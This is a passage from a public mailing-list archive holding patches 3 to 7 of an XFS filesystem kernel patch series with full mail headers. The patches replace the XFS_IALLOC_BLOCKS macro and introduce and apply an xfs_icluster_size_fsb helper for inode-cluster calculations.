(8.14.4+Sun/8.14.4) with ESMTP id rBC7cL3n019593 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 12 Dec 2013 07:38:21 GMT Received: from abhmp0015.oracle.com (abhmp0015.oracle.com [141.146.116.21]) by aserz7022.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBC7cKb6024825 for ; Thu, 12 Dec 2013 07:38:21 GMT Received: from [192.168.1.105] (/114.248.205.234) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Wed, 11 Dec 2013 23:38:20 -0800 Message-ID: <52A967E9.7070508@oracle.com> Date: Thu, 12 Dec 2013 15:38:17 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: "xfs@oss.sgi.com" Subject: [PATCH v2 3/8] xfs: get rid of XFS_IALLOC_BLOCKS macros Content-Type: text/plain; charset=ISO-8859-1 X-ASG-Orig-Subj: [PATCH v2 3/8] xfs: get rid of XFS_IALLOC_BLOCKS macros Content-Transfer-Encoding: 7bit X-Source-IP: ucsinet21.oracle.com [156.151.31.93] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1386833903 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143034 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Jie Liu Get rid of XFS_IALLOC_BLOCKS() marcos, use mp->m_ialloc_blks directly. Signed-off-by: Jie Liu --- fs/xfs/xfs_ialloc.c | 12 ++++++------ fs/xfs/xfs_ialloc.h | 5 ----- fs/xfs/xfs_inode.c | 4 ++-- fs/xfs/xfs_log_recover.c | 4 ++-- fs/xfs/xfs_trans_resv.c | 8 ++++---- fs/xfs/xfs_trans_space.h | 2 +- 6 files changed, 15 insertions(+), 20 deletions(-) diff --git a/fs/xfs/xfs_ialloc.c b/fs/xfs/xfs_ialloc.c index c707bd7..5acba64 100644 --- a/fs/xfs/xfs_ialloc.c +++ b/fs/xfs/xfs_ialloc.c @@ -333,7 +333,7 @@ xfs_ialloc_ag_alloc( if (args.mp->m_maxicount && args.mp->m_sb.sb_icount + newlen > args.mp->m_maxicount) return XFS_ERROR(ENOSPC); - args.minlen = args.maxlen = XFS_IALLOC_BLOCKS(args.mp); + args.minlen = args.maxlen = args.mp->m_ialloc_blks; /* * First try to allocate inodes contiguous with the last-allocated * chunk of inodes. If the filesystem is striped, this will fill @@ -343,7 +343,7 @@ xfs_ialloc_ag_alloc( newino = be32_to_cpu(agi->agi_newino); agno = be32_to_cpu(agi->agi_seqno); args.agbno = XFS_AGINO_TO_AGBNO(args.mp, newino) + - XFS_IALLOC_BLOCKS(args.mp); + args.mp->m_ialloc_blks; if (likely(newino != NULLAGINO && (args.agbno < be32_to_cpu(agi->agi_length)))) { args.fsbno = XFS_AGB_TO_FSB(args.mp, agno, args.agbno); @@ -585,7 +585,7 @@ xfs_ialloc_ag_select( * Is there enough free space for the file plus a block of * inodes? (if we need to allocate some)? */ - ineed = XFS_IALLOC_BLOCKS(mp); + ineed = mp->m_ialloc_blks; longest = pag->pagf_longest; if (!longest) longest = pag->pagf_flcount > 0; @@ -1228,9 +1228,9 @@ xfs_difree( goto error0; } - xfs_bmap_add_free(XFS_AGB_TO_FSB(mp, - agno, XFS_INO_TO_AGBNO(mp,rec.ir_startino)), - XFS_IALLOC_BLOCKS(mp), flist, mp); + xfs_bmap_add_free(XFS_AGB_TO_FSB(mp, agno, + XFS_INO_TO_AGBNO(mp, rec.ir_startino)), + mp->m_ialloc_blks, flist, mp); } else { *delete = 0; diff --git a/fs/xfs/xfs_ialloc.h b/fs/xfs/xfs_ialloc.h index 98ce63e..d86f8bd 100644 --- a/fs/xfs/xfs_ialloc.h +++ b/fs/xfs/xfs_ialloc.h @@ -25,11 +25,6 @@ struct xfs_mount; struct xfs_trans; struct xfs_btree_cur; -/* - * Allocation parameters for inode allocation. - */ -#define XFS_IALLOC_BLOCKS(mp) (mp)->m_ialloc_blks - /* Move inodes in clusters of this size */ #define XFS_INODE_BIG_CLUSTER_SIZE 8192 diff --git a/fs/xfs/xfs_inode.c b/fs/xfs/xfs_inode.c index c1642c9..0c8c334 100644 --- a/fs/xfs/xfs_inode.c +++ b/fs/xfs/xfs_inode.c @@ -2155,12 +2155,12 @@ xfs_ifree_cluster( if (mp->m_sb.sb_blocksize >= mp->m_inode_cluster_size) { blks_per_cluster = 1; ninodes = mp->m_sb.sb_inopblock; - nbufs = XFS_IALLOC_BLOCKS(mp); + nbufs = mp->m_ialloc_blks; } else { blks_per_cluster = mp->m_inode_cluster_size / mp->m_sb.sb_blocksize; ninodes = blks_per_cluster * mp->m_sb.sb_inopblock; - nbufs = XFS_IALLOC_BLOCKS(mp) / blks_per_cluster; + nbufs = mp->m_ialloc_blks / blks_per_cluster; } for (j = 0; j < nbufs; j++, inum += ninodes) { diff --git a/fs/xfs/xfs_log_recover.c b/fs/xfs/xfs_log_recover.c index 42458ab..22b6f35 100644 --- a/fs/xfs/xfs_log_recover.c +++ b/fs/xfs/xfs_log_recover.c @@ -3209,9 +3209,9 @@ xlog_recover_do_icreate_pass2( /* existing allocation is fixed value */ ASSERT(count == mp->m_ialloc_inos); - ASSERT(length == XFS_IALLOC_BLOCKS(mp)); + ASSERT(length == mp->m_ialloc_blks); if (count != mp->m_ialloc_inos || - length != XFS_IALLOC_BLOCKS(mp)) { + length != mp->m_ialloc_blks) { xfs_warn(log->l_mp, "xlog_recover_do_icreate_trans: bad count 2"); return EINVAL; } diff --git a/fs/xfs/xfs_trans_resv.c b/fs/xfs/xfs_trans_resv.c index 51c181d..2ffd3e3 100644 --- a/fs/xfs/xfs_trans_resv.c +++ b/fs/xfs/xfs_trans_resv.c @@ -174,7 +174,7 @@ xfs_calc_itruncate_reservation( xfs_calc_buf_res(5, 0) + xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 1), XFS_FSB_TO_B(mp, 1)) + - xfs_calc_buf_res(2 + XFS_IALLOC_BLOCKS(mp) + + xfs_calc_buf_res(2 + mp->m_ialloc_blks + mp->m_in_maxlevels, 0))); } @@ -282,7 +282,7 @@ xfs_calc_create_resv_modify( * For create we can allocate some inodes giving: * the agi and agf of the ag getting the new inodes: 2 * sectorsize * the superblock for the nlink flag: sector size - * the inode blocks allocated: XFS_IALLOC_BLOCKS * blocksize + * the inode blocks allocated: mp->m_ialloc_blks * blocksize * the inode btree: max depth * blocksize * the allocation btrees: 2 trees * (max depth - 1) * block size */ @@ -292,7 +292,7 @@ xfs_calc_create_resv_alloc( { return xfs_calc_buf_res(2, mp->m_sb.sb_sectsize) + mp->m_sb.sb_sectsize + - xfs_calc_buf_res(XFS_IALLOC_BLOCKS(mp), XFS_FSB_TO_B(mp, 1)) + + xfs_calc_buf_res(mp->m_ialloc_blks, XFS_FSB_TO_B(mp, 1)) + xfs_calc_buf_res(mp->m_in_maxlevels, XFS_FSB_TO_B(mp, 1)) + xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 1), XFS_FSB_TO_B(mp, 1)); @@ -387,7 +387,7 @@ xfs_calc_ifree_reservation( xfs_calc_buf_res(1, XFS_FSB_TO_B(mp, 1)) + max_t(uint, XFS_FSB_TO_B(mp, 1), mp->m_inode_cluster_size) + xfs_calc_buf_res(1, 0) + - xfs_calc_buf_res(2 + XFS_IALLOC_BLOCKS(mp) + + xfs_calc_buf_res(2 + mp->m_ialloc_blks + mp->m_in_maxlevels, 0) + xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 1), XFS_FSB_TO_B(mp, 1)); diff --git a/fs/xfs/xfs_trans_space.h b/fs/xfs/xfs_trans_space.h index 7d2c920..af5dbe0 100644 --- a/fs/xfs/xfs_trans_space.h +++ b/fs/xfs/xfs_trans_space.h @@ -47,7 +47,7 @@ #define XFS_DIRREMOVE_SPACE_RES(mp) \ XFS_DAREMOVE_SPACE_RES(mp, XFS_DATA_FORK) #define XFS_IALLOC_SPACE_RES(mp) \ - (XFS_IALLOC_BLOCKS(mp) + (mp)->m_in_maxlevels - 1) + ((mp)->m_ialloc_blks + (mp)->m_in_maxlevels - 1) /* * Space reservation values for various transactions. -- 1.8.3.2 From jeff.liu@oracle.com Thu Dec 12 01:38:37 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 0F7C17F56 for ; Thu, 12 Dec 2013 01:38:37 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 9CEB5AC00B for ; Wed, 11 Dec 2013 23:38:36 -0800 (PST) X-ASG-Debug-ID: 1386833915-04bdf013221d05b0001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id UX3YH7HcOYyeEwyO (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 11 Dec 2013 23:38:35 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from ucsinet21.oracle.com (ucsinet21.oracle.com [156.151.31.93]) by aserp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id rBC7cYZ3026625 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Thu, 12 Dec 2013 07:38:35 GMT Received: from aserz7021.oracle.com (aserz7021.oracle.com [141.146.126.230]) by ucsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBC7cXpE020172 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 12 Dec 2013 07:38:34 GMT Received: from abhmp0007.oracle.com (abhmp0007.oracle.com [141.146.116.13]) by aserz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBC7cXR1020015 for ; Thu, 12 Dec 2013 07:38:33 GMT Received: from [192.168.1.105] (/114.248.205.234) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Wed, 11 Dec 2013 23:38:33 -0800 Message-ID: <52A967F5.6030005@oracle.com> Date: Thu, 12 Dec 2013 15:38:29 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: "xfs@oss.sgi.com" Subject: [PATCH v2 4/8] xfs: introduce a common helper xfs_icluster_size_fsb Content-Type: text/plain; charset=ISO-8859-1 X-ASG-Orig-Subj: [PATCH v2 4/8] xfs: introduce a common helper xfs_icluster_size_fsb Content-Transfer-Encoding: 7bit X-Source-IP: ucsinet21.oracle.com [156.151.31.93] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1386833915 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143034 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Jie Liu Introduce a common routine xfs_icluster_size_fsb() to calculate and return the number of file system blocks per inode cluster. Signed-off-by: Jie Liu --- fs/xfs/xfs_ialloc.h | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/fs/xfs/xfs_ialloc.h b/fs/xfs/xfs_ialloc.h index d86f8bd..812365d 100644 --- a/fs/xfs/xfs_ialloc.h +++ b/fs/xfs/xfs_ialloc.h @@ -28,6 +28,16 @@ struct xfs_btree_cur; /* Move inodes in clusters of this size */ #define XFS_INODE_BIG_CLUSTER_SIZE 8192 +/* Calculate and return the number of filesystem blocks per inode cluster */ +static inline int +xfs_icluster_size_fsb( + struct xfs_mount *mp) +{ + if (mp->m_sb.sb_blocksize >= mp->m_inode_cluster_size) + return 1; + return mp->m_inode_cluster_size >> mp->m_sb.sb_blocklog; +} + /* * Make an inode pointer out of the buffer/offset. */ -- 1.8.3.2 From jeff.liu@oracle.com Thu Dec 12 01:38:45 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id CDB627F6C for ; Thu, 12 Dec 2013 01:38:45 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id BB03930406B for ; Wed, 11 Dec 2013 23:38:45 -0800 (PST) X-ASG-Debug-ID: 1386833924-04cb6c537d6c3480001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id 4KxxsKaPUmSm0XYW (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 11 Dec 2013 23:38:44 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from acsinet21.oracle.com (acsinet21.oracle.com [141.146.126.237]) by aserp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id rBC7chg5026776 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Thu, 12 Dec 2013 07:38:44 GMT Received: from aserz7022.oracle.com (aserz7022.oracle.com [141.146.126.231]) by acsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBC7cgxw020420 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 12 Dec 2013 07:38:43 GMT Received: from abhmp0007.oracle.com (abhmp0007.oracle.com [141.146.116.13]) by aserz7022.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBC7cg5q025618 for ; Thu, 12 Dec 2013 07:38:42 GMT Received: from [192.168.1.105] (/114.248.205.234) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Wed, 11 Dec 2013 23:38:42 -0800 Message-ID: <52A96800.5080706@oracle.com> Date: Thu, 12 Dec 2013 15:38:40 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: "xfs@oss.sgi.com" Subject: [PATCH v2 5/8] xfs: use xfs_icluster_size_fsb in xfs_bulkstat Content-Type: text/plain; charset=ISO-8859-1 X-ASG-Orig-Subj: [PATCH v2 5/8] xfs: use xfs_icluster_size_fsb in xfs_bulkstat Content-Transfer-Encoding: 7bit X-Source-IP: acsinet21.oracle.com [141.146.126.237] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1386833924 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143034 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Jie Liu Use xfs_icluster_size_fsb() in xfs_bulkstat(), make the related variables more meaningful and remove an unused variable nimask from it. Signed-off-by: Jie Liu --- fs/xfs/xfs_itable.c | 22 +++++++++------------- 1 file changed, 9 insertions(+), 13 deletions(-) diff --git a/fs/xfs/xfs_itable.c b/fs/xfs/xfs_itable.c index 0571012..f463382 100644 --- a/fs/xfs/xfs_itable.c +++ b/fs/xfs/xfs_itable.c @@ -209,9 +209,8 @@ xfs_bulkstat( xfs_inobt_rec_incore_t *irbuf; /* start of irec buffer */ xfs_inobt_rec_incore_t *irbufend; /* end of good irec buffer entries */ xfs_ino_t lastino; /* last inode number returned */ - int nbcluster; /* # of blocks in a cluster */ - int nicluster; /* # of inodes in a cluster */ - int nimask; /* mask for inode clusters */ + int blks_per_cluster; /* # of blocks per cluster */ + int inodes_per_cluster;/* # of inodes per cluster */ int nirbuf; /* size of irbuf */ int rval; /* return value error code */ int tmp; /* result value from btree calls */ @@ -243,11 +242,8 @@ xfs_bulkstat( *done = 0; fmterror = 0; ubufp = ubuffer; - nicluster = mp->m_sb.sb_blocksize >= mp->m_inode_cluster_size ? - mp->m_sb.sb_inopblock : - (mp->m_inode_cluster_size >> mp->m_sb.sb_inodelog); - nimask = ~(nicluster - 1); - nbcluster = nicluster >> mp->m_sb.sb_inopblog; + blks_per_cluster = xfs_icluster_size_fsb(mp); + inodes_per_cluster = blks_per_cluster << mp->m_sb.sb_inopblog; irbuf = kmem_zalloc_greedy(&irbsize, PAGE_SIZE, PAGE_SIZE * 4); if (!irbuf) return ENOMEM; @@ -390,12 +386,12 @@ xfs_bulkstat( agbno = XFS_AGINO_TO_AGBNO(mp, r.ir_startino); for (chunkidx = 0; chunkidx < XFS_INODES_PER_CHUNK; - chunkidx += nicluster, - agbno += nbcluster) { - if (xfs_inobt_maskn(chunkidx, nicluster) - & ~r.ir_free) + chunkidx += inodes_per_cluster, + agbno += blks_per_cluster) { + if (xfs_inobt_maskn(chunkidx, + inodes_per_cluster) & ~r.ir_free) xfs_btree_reada_bufs(mp, agno, - agbno, nbcluster, + agbno, blks_per_cluster, &xfs_inode_buf_ops); } blk_finish_plug(&plug); -- 1.8.3.2 From jeff.liu@oracle.com Thu Dec 12 01:38:55 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 72A5B7F53 for ; Thu, 12 Dec 2013 01:38:55 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 1C3D9AC008 for ; Wed, 11 Dec 2013 23:38:55 -0800 (PST) X-ASG-Debug-ID: 1386833933-04bdf013231d05e0001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id z9H75jhwwrhCG5VT (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 11 Dec 2013 23:38:54 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from ucsinet21.oracle.com (ucsinet21.oracle.com [156.151.31.93]) by userp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id rBC7cquB021028 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Thu, 12 Dec 2013 07:38:53 GMT Received: from userz7021.oracle.com (userz7021.oracle.com [156.151.31.85]) by ucsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBC7cq6o021055 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 12 Dec 2013 07:38:52 GMT Received: from abhmp0012.oracle.com (abhmp0012.oracle.com [141.146.116.18]) by userz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBC7cqje021047 for ; Thu, 12 Dec 2013 07:38:52 GMT Received: from [192.168.1.105] (/114.248.205.234) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Wed, 11 Dec 2013 23:38:51 -0800 Message-ID: <52A96809.9020702@oracle.com> Date: Thu, 12 Dec 2013 15:38:49 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: "xfs@oss.sgi.com" Subject: [PATCH v2 6/8] xfs: use xfs_icluster_size_fsb in xfs_ialloc_inode_init Content-Type: text/plain; charset=ISO-8859-1 X-ASG-Orig-Subj: [PATCH v2 6/8] xfs: use xfs_icluster_size_fsb in xfs_ialloc_inode_init Content-Transfer-Encoding: 7bit X-Source-IP: ucsinet21.oracle.com [156.151.31.93] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1386833934 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143034 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Jie Liu Use xfs_icluster_size_fsb() in xfs_ialloc_inode_init(), rename variable ninodes to inodes_per_cluster, the later is more meaningful. Reviewed-by: Dave Chinner Signed-off-by: Jie Liu --- fs/xfs/xfs_ialloc.c | 23 ++++++++--------------- 1 file changed, 8 insertions(+), 15 deletions(-) diff --git a/fs/xfs/xfs_ialloc.c b/fs/xfs/xfs_ialloc.c index 5acba64..492ac88 100644 --- a/fs/xfs/xfs_ialloc.c +++ b/fs/xfs/xfs_ialloc.c @@ -170,27 +170,20 @@ xfs_ialloc_inode_init( { struct xfs_buf *fbuf; struct xfs_dinode *free; - int blks_per_cluster, nbufs, ninodes; + int nbufs, blks_per_cluster, inodes_per_cluster; int version; int i, j; xfs_daddr_t d; xfs_ino_t ino = 0; /* - * Loop over the new block(s), filling in the inodes. - * For small block sizes, manipulate the inodes in buffers - * which are multiples of the blocks size. + * Loop over the new block(s), filling in the inodes. For small block + * sizes, manipulate the inodes in buffers which are multiples of the + * blocks size. */ - if (mp->m_sb.sb_blocksize >= mp->m_inode_cluster_size) { - blks_per_cluster = 1; - nbufs = length; - ninodes = mp->m_sb.sb_inopblock; - } else { - blks_per_cluster = mp->m_inode_cluster_size / - mp->m_sb.sb_blocksize; - nbufs = length / blks_per_cluster; - ninodes = blks_per_cluster * mp->m_sb.sb_inopblock; - } + blks_per_cluster = xfs_icluster_size_fsb(mp); + inodes_per_cluster = blks_per_cluster << mp->m_sb.sb_inopblog; + nbufs = length / blks_per_cluster; /* * Figure out what version number to use in the inodes we create. If @@ -246,7 +239,7 @@ xfs_ialloc_inode_init( /* Initialize the inode buffers and log them appropriately. */ fbuf->b_ops = &xfs_inode_buf_ops; xfs_buf_zero(fbuf, 0, BBTOB(fbuf->b_length)); - for (i = 0; i < ninodes; i++) { + for (i = 0; i < inodes_per_cluster; i++) { int ioffset = i << mp->m_sb.sb_inodelog; uint isize = xfs_dinode_size(version); -- 1.8.3.2 From jeff.liu@oracle.com Thu Dec 12 01:39:03 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 41AD87F59 for ; Thu, 12 Dec 2013 01:39:03 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id B3E2FAC008 for ; Wed, 11 Dec 2013 23:39:02 -0800 (PST) X-ASG-Debug-ID: 1386833941-04cbb041676ca1d0001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id iQFaZZNWs5veWcUW (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 11 Dec 2013 23:39:01 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from acsinet21.oracle.com (acsinet21.oracle.com [141.146.126.237]) by aserp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id rBC7d0np026969 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Thu, 12 Dec 2013 07:39:01 GMT Received: from aserz7022.oracle.com (aserz7022.oracle.com [141.146.126.231]) by acsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBC7d0bp020927 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 12 Dec 2013 07:39:00 GMT Received: from abhmp0002.oracle.com (abhmp0002.oracle.com [141.146.116.8]) by aserz7022.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBC7cxjB026182 for ; Thu, 12 Dec 2013 07:38:59 GMT Received: from [192.168.1.105] (/114.248.205.234) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Wed, 11 Dec 2013 23:38:59 -0800 Message-ID: <52A96810.9090400@oracle.com> Date: Thu, 12 Dec 2013 15:38:56 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: "xfs@oss.sgi.com" Subject: [PATCH v2 7/8] xfs: use xfs_icluster_size_fsb in xfs_ifree_cluster Content-Type: text/plain; charset=ISO-8859-1 X-ASG-Orig-Subj: [PATCH v2 7/8] xfs: use xfs_icluster_size_fsb in xfs_ifree_cluster Content-Transfer-Encoding: 7bit X-Source-IP: acsinet21.oracle.com [141.146.126.237] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1386833941 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143034 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Jie Liu Use xfs_icluster_size_fsb() in xfs_ifree_cluster(), rename variable ninodes to inodes_per_cluster, the later is more meaningful. Reviewed-by: Dave Chinner Signed-off-by: Jie Liu --- fs/xfs/xfs_inode.c | 19 ++++++------------- 1 file changed, 6 insertions(+), 13 deletions(-) diff --git a/fs/xfs/xfs_inode.c b/fs/xfs/xfs_inode.c index 0c8c334..833028c 100644 --- a/fs/xfs/xfs_inode.c +++ b/fs/xfs/xfs_inode.c @@ -2141,8 +2141,8 @@ xfs_ifree_cluster( { xfs_mount_t *mp = free_ip->i_mount; int blks_per_cluster; + int inodes_per_cluster; int nbufs; - int ninodes; int i, j; xfs_daddr_t blkno; xfs_buf_t *bp; @@ -2152,18 +2152,11 @@ xfs_ifree_cluster( struct xfs_perag *pag; pag = xfs_perag_get(mp, XFS_INO_TO_AGNO(mp, inum)); - if (mp->m_sb.sb_blocksize >= mp->m_inode_cluster_size) { - blks_per_cluster = 1; - ninodes = mp->m_sb.sb_inopblock; - nbufs = mp->m_ialloc_blks; - } else { - blks_per_cluster = mp->m_inode_cluster_size / - mp->m_sb.sb_blocksize; - ninodes = blks_per_cluster * mp->m_sb.sb_inopblock; - nbufs = mp->m_ialloc_blks / blks_per_cluster; - } + blks_per_cluster = xfs_icluster_size_fsb(mp); + inodes_per_cluster = blks_per_cluster << mp->m_sb.sb_inopblog; + nbufs = mp->m_ialloc_blks / blks_per_cluster; - for (j = 0; j < nbufs; j++, inum += ninodes) { + for (j = 0; j < nbufs; j++, inum += inodes_per_cluster) { blkno = XFS_AGB_TO_DADDR(mp, XFS_INO_TO_AGNO(mp, inum), XFS_INO_TO_AGBNO(mp, inum)); @@ -2225,7 +2218,7 @@ xfs_ifree_cluster( * transaction stale above, which means there is no point in * even trying to lock them. */ - for (i = 0; i < ninodes; i++) { + for (i = 0; i < inodes_per_cluster; i++) { retry: rcu_read_lock(); ip = radix_tree_lookup(&pag->pag_ici_root, -- 1.8.3.2 From jeff.liu@oracle.com Thu Dec 12 01:39:08 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 